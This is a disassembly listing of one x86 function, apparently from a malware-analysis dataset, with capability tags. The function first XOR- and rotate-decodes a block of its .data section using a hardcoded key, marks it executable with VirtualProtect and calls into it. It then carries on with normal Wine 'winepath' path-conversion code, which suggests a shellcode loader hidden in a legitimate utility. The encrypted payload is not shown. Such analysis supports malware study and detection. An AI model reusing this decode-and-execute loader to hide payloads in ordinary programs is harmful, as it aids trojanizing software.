Function at 0x401320
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x50], str.jexhtthmfzonv
mov dword [ebp - 4], 0
jmp 0x401350
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1745
jae 0x4013a2
mov ecx, dword [ebp - 4]
mov dl, byte [ecx + section..data]
mov byte [ebp - 5], dl
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x30]
mov cl, byte [eax]
mov byte [ebp - 0x1d], cl
movzx edx, byte [ebp - 5]
sar edx, 3
movzx eax, byte [ebp - 5]
shl eax, 5
or edx, eax
movzx ecx, byte [ebp - 0x1d]
xor edx, ecx
mov eax, dword [ebp - 4]
mov byte [eax + section..data], dl
mov eax, dword [ebp - 0x30]
add eax, 1
cdq
mov ecx, 0xd
idiv ecx
mov dword [ebp - 0x30], edx
jmp 0x401347
lea edx, [ebp - 0x54]
push edx
push 0x40
push 0x1745
push section..data
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, section..data
call eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x24]
push eax
call fcn.00401170
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
and ecx, 0x10
je 0x4013f4
mov dword [ebp - 0x14], 0
mov edx, dword [ebp - 0xc]
xor edx, 0x10
mov dword [ebp - 0xc], edx
jmp 0x4013fb
mov dword [ebp - 0x14], 0xa
cmp dword [ebp - 0xc], 0
jne 0x401408
mov dword [ebp - 0xc], 4
mov eax, dword [ebp - 0xc]
and eax, 4
je 0x401451
push str.wine_get_unix_file_name
push 0x437380
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebp - 0x3c], 0
jne 0x401451
push str.winepath
push str._s:_cannot_get_the_address_of_wine_get_unix_file_name_n
push 2
call fcn.0040c69c
add esp, 4
push eax
call fcn.004018b0
add esp, 0xc
push 3
call fcn.00415817
mov ecx, dword [ebp - 0xc]
and ecx, 8
je 0x40149a
push str.wine_get_dos_file_name
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebp - 0x4c], 0
jne 0x40149a
push str.winepath
push str._s:_cannot_get_the_address_of_wine_get_dos_file_name_n
push 2
call fcn.0040c69c
add esp, 4
push eax
call fcn.004018b0
add esp, 0xc
push 3
call fcn.00415817
mov dword [ebp - 4], 1
jmp 0x4014ac
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x24]
cmp dword [ecx + eax*4], 0
je 0x401861
mov edx, 1
imul eax, edx, 0
mov byte [ebp + eax - 0x158], 0
mov ecx, dword [ebp - 0xc]
and ecx, 2
je 0x40152f
push 0x104
lea edx, [ebp - 0x360]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + eax*4]
push edx
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
test eax, eax
je 0x401517
push 0
push 0
push 0x104
lea eax, [ebp - 0x158]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x360]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x14]
push edx
lea eax, [ebp - 0x158]
push eax
push 0x437424
call fcn.004018f0
add esp, 0xc
mov ecx, dword [ebp - 0xc]
and ecx, 1
je 0x401592
push 0x104
lea edx, [ebp - 0x360]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + eax*4]
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x40157a
push 0
push 0
push 0x104
lea eax, [ebp - 0x158]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x360]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x14]
push edx
lea eax, [ebp - 0x158]
push eax
push 0x43742c
call fcn.004018f0
add esp, 0xc
mov ecx, dword [ebp - 0xc]
and ecx, 4
je 0x401784
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0x40]
lea eax, [edx + edx + 2]
push eax
call fcn.0041541c
add esp, 4
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + ecx*4]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x1c], 0
mov edx, 1
test edx, edx
je 0x401778
mov eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x401670
cmp dword [ebp - 0x1c], 0
je 0x401643
push 0
push 0
push 0x104
lea ecx, [ebp - 0x158]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x1c]
add edx, 2
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
push str._s__s_c
call fcn.004018f0
add esp, 0x10
jmp 0x401658
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push 0x43743c
call fcn.004018f0
add esp, 0xc
mov edx, dword [ebp - 0x2c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x401778
cmp dword [ebp - 0x1c], 0
je 0x40167e
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x44], eax
jmp 0x40168a
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x28]
lea eax, [edx + ecx*2]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x28]
je 0x4016b9
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax]
cmp ecx, 0x2f
je 0x4016b9
mov edx, dword [ebp - 0x18]
movzx eax, word [edx]
cmp eax, 0x5c
je 0x4016b9
mov ecx, dword [ebp - 0x18]
sub ecx, 2
mov dword [ebp - 0x18], ecx
jmp 0x401690
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x28]
jne 0x4016d7
mov eax, dword [ebp - 0x14]
push eax
push 0x437444
call fcn.004018f0
add esp, 8
jmp 0x401778
mov ecx, dword [ebp - 0x18]
add ecx, 2
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
movzx eax, word [edx]
test eax, eax
je 0x401737
mov ecx, dword [ebp - 0x10]
movzx edx, word [ecx]
cmp edx, 0x2a
je 0x401737
mov eax, dword [ebp - 0x10]
movzx ecx, word [eax]
cmp ecx, 0x3f
je 0x401737
mov edx, dword [ebp - 0x10]
movzx eax, word [edx]
cmp eax, 0x3c
je 0x401737
mov ecx, dword [ebp - 0x10]
movzx edx, word [ecx]
cmp edx, 0x3e
je 0x401737
mov eax, dword [ebp - 0x10]
movzx ecx, word [eax]
cmp ecx, 0x7c
je 0x401737
mov edx, dword [ebp - 0x10]
movzx eax, word [edx]
cmp eax, 0x22
je 0x401737
mov ecx, dword [ebp - 0x10]
add ecx, 2
mov dword [ebp - 0x10], ecx
jmp 0x4016e0
mov edx, dword [ebp - 0x10]
movzx eax, word [edx]
test eax, eax
je 0x401754
mov ecx, dword [ebp - 0x14]
push ecx
push 0x437448
call fcn.004018f0
add esp, 8
jmp 0x401778
cmp dword [ebp - 0x1c], 0
je 0x401765
mov edx, 0x2f
mov eax, dword [ebp - 0x1c]
mov word [eax], dx
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov word [eax], dx
jmp 0x4015df
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00415401
add esp, 4
mov edx, dword [ebp - 0xc]
and edx, 8
je 0x40185c
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + eax*4]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push eax
call fcn.0041541c
add esp, 4
mov dword [ebp - 0x38], eax
push 0
push 0
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [ebp - 0x38]
push edx
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + eax*4]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x38]
push eax
call dword [ebp - 0x4c]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40183f
push 0
push 0
push 0x104
lea ecx, [ebp - 0x158]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x34]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x158]
push ecx
push str._s_c
call fcn.004018f0
add esp, 0xc
mov edx, dword [ebp - 0x34]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x401850
mov eax, dword [ebp - 0x14]
push eax
push 0x437454
call fcn.004018f0
add esp, 8
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.00415401
add esp, 4
jmp 0x4014a3
push 0
call fcn.00415817
mov esp, ebp
pop ebp
ret